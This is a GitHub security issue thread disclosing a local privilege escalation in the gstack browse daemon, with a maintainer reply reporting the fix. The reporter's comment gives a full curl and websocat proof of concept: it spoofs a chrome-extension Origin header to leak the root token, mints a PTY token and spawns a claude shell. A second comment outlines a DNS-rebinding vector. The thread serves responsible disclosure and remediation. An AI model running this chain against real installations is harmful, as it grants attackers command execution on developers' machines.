Skip to content

Possible Critical Security Issue #1324

Closed

Description

@H4CKS4F3

Hello! I was performing a security review of gstack before allowing our dev teams to use this project, and I believe I have found a critical vulnerability. Full disclosure: Anthropic's Opus 4.7 was used to identify the issue. I don't want to waste anyone's time, so I want to make sure you know that first and foremost. If you would like to know the details, I'd love to share the findings as I have reason to believe this is a legitimate finding. Let me know if you would like me to responsibly disclose this. Also: I'm a human, even though I used AI to find this. Thanks in advance! (And there are other lower findings, happy to share the whole AI generated report, but I think the critical issue is most pressing.)

Activity

  1. H4CKS4F3 commented on May 7, 2026

    @H4CKS4F3
    Author

    In the spirit of helping open source projects improve, I am genuinely interested in sharing the details. I haven't heard back from anyone at all. If this doesn't sound interesting, I'll just post the details here and let others decide if it's critical or not. We've decided to not use this code (due to the issue discovered). I'll give you guys a week or so (from today), and if I don't hear back I'll just post the details here. I'm not trying to bully anyone into taking action, but I do think with so many users, this concern should be reviewed.

  2. H4CKS4F3 commented on May 15, 2026

    @H4CKS4F3
    Author

    Intro

    No response from anyone, so I'm sharing the full report. I hope this doesn't ruin anyone's day. I'm genuinely only interested in making things more secure.

    Chrome extension => local shell escalation

    Severity: CRITICAL

    Affected files: browse/src/server.ts (/health, /pty-session), browse/src/terminal-agent.ts (/ws), browse/src/cli.ts (connect handler env)

    Reproduction time: ~5 minutes

    Required tools: curl, websocat (or any WebSocket client), a terminal


    Summary

    Any local process that can reach 127.0.0.1:34567 - including any Chrome extension installed in the user's browser with http://127.0.0.1:* in its host_permissions - can drive a claude PTY as the user. The browser doesn't enter the repro; curl makes the same requests the malicious extension would.

    The root cause is two collaborating issues:

    1. /health returns AUTH_TOKEN to any caller whose Origin header starts with chrome-extension://. The check is startsWith, so any string after the prefix passes.
    2. The terminal-agent's /ws upgrade accepts any chrome-extension://* Origin because BROWSE_EXTENSION_ID is not set by the production connect handler in cli.ts.

    Setup

    On a developer machine, start the daemon in headed mode:

    $B connect

    Confirm it is running on the well-known port 34567:

    curl -s http://127.0.0.1:34567/health | head -c 200

    The response does not include a token field - no Origin header was sent.


    Step 1 - Leak the root token

    Add Origin: chrome-extension://anything. Any 32-char string works because the server uses startsWith:

    curl -s \
      -H "Origin: chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
      http://127.0.0.1:34567/health

    The token field is now present in the JSON response. Capture it:

    TOKEN=$(curl -s \
      -H "Origin: chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
      http://127.0.0.1:34567/health \
      | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])')
    echo "TOKEN=$TOKEN"

    Step 2 - Mint a PTY session token

    RESP=$(curl -s -X POST \
      -H "Authorization: Bearer $TOKEN" \
      http://127.0.0.1:34567/pty-session)
    echo "$RESP"
    
    PTY_TOKEN=$(echo "$RESP" | python3 -c 'import json,sys; print(json.load(sys.stdin)["ptySessionToken"])')
    TERM_PORT=$(echo "$RESP" | python3 -c 'import json,sys; print(json.load(sys.stdin)["terminalPort"])')
    
    echo "PTY_TOKEN=$PTY_TOKEN"
    echo "TERM_PORT=$TERM_PORT"

    The server has now added PTY_TOKEN to the terminal-agent's in-memory validTokens set via the loopback /internal/grant handshake.


    Step 3 - Open the PTY WebSocket

    Install websocat if you don't have it (brew install websocat or cargo install websocat), then:

    echo "ls" | websocat \
      --origin "chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
      --protocol "$PTY_TOKEN" \
      "ws://127.0.0.1:$TERM_PORT/ws"

    Sending a single byte over the WebSocket triggers the terminal-agent to lazy-spawn claude. The spawned process runs under the user's UID with full access to the user's environment.


    Step 4 - Confirm the spawned PTY

    While the WebSocket from Step 3 is open, in another terminal:

    ps -ef | grep -E '(claude|terminal-agent)' | grep -v grep

    You should see a claude process running under the current user's UID, parented by the terminal-agent.


    What this proves

    The repro completes the full attack chain without involving a browser. A malicious Chrome extension that has been granted http://127.0.0.1:* host permission (common for developer-tooling extensions) can issue these same three HTTP requests from within the browser. Once the WebSocket is open, the extension can feed claude arbitrary input - including invocations of its Bash tool - and read all output.


    Expected behavior after fix

    After the recommended fix is applied (stop returning AUTH_TOKEN via /health and require BROWSE_EXTENSION_ID to be set):

    • Step 1 should return the health JSON without a token field, regardless of Origin.
    • Step 2 should fail with 401 Unauthorized because there is no longer a way for an external caller to obtain the bearer.
    • Step 3 should fail with 403 forbidden origin if the WebSocket Origin does not match the configured BROWSE_EXTENSION_ID.

    Acknowledgment in source

    The team is already aware of this issue. From line 7 (permalinked) browse/src/pty-session-cookie.ts:

    codex outside-voice finding #​2: /health already leaks AUTH_TOKEN to any localhost caller in headed mode; reusing that path for shell access would widen an existing bug.

    The fix has been deferred. This finding is the case for not deferring it further.

  3. josuediazflores commented on Jun 9, 2026

    @josuediazflores

    Adjacent hardening note on the same server trust boundary (not a duplicate of the PoC above, which uses the Origin: chrome-extension:// trick to read the token from a local process):

    The browse server also performs no Host-header validation on its HTTP routes (the makeFetchHandler route dispatcher in browse/src/server.ts checks neither Host nor Origin on the routes themselves). On top of the headed-mode /health token return documented here, that leaves a DNS-rebinding vector: a malicious web page the user visits can rebind an attacker-controlled hostname to 127.0.0.1, at which point page JS is "same-origin" to the rebound host and can read the /health response — in headed mode that includes the root token, with no browser/extension needed.

    A strict Host: 127.0.0.1:<port> / localhost:<port> allowlist on every route (reject others with 403 before dispatch) closes the rebinding path and is cheap defense-in-depth on top of the /health + mandatory-BROWSE_EXTENSION_ID fixes already proposed in this thread.

    (Found during an independent security review; flagging here rather than opening a separate issue since this thread already owns the server-token trust boundary.)

  4. capy-ai commented on Oct 4, 2026

    @capy-ai
    Contributor

    The sidebar terminal's /ws endpoint now rejects every Origin except the pinned gstack extension (forks set theirs with gstack-config set browse_extension_id <id>), which closes the remaining gap after the token fix in v1.63.0.0 (#2541). Fixed in v1.91.19.0 (#3025).

    To upgrade: run /gstack-upgrade in Claude Code, then start a new session.

    If you still see this, please reopen with ./setup --status output.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions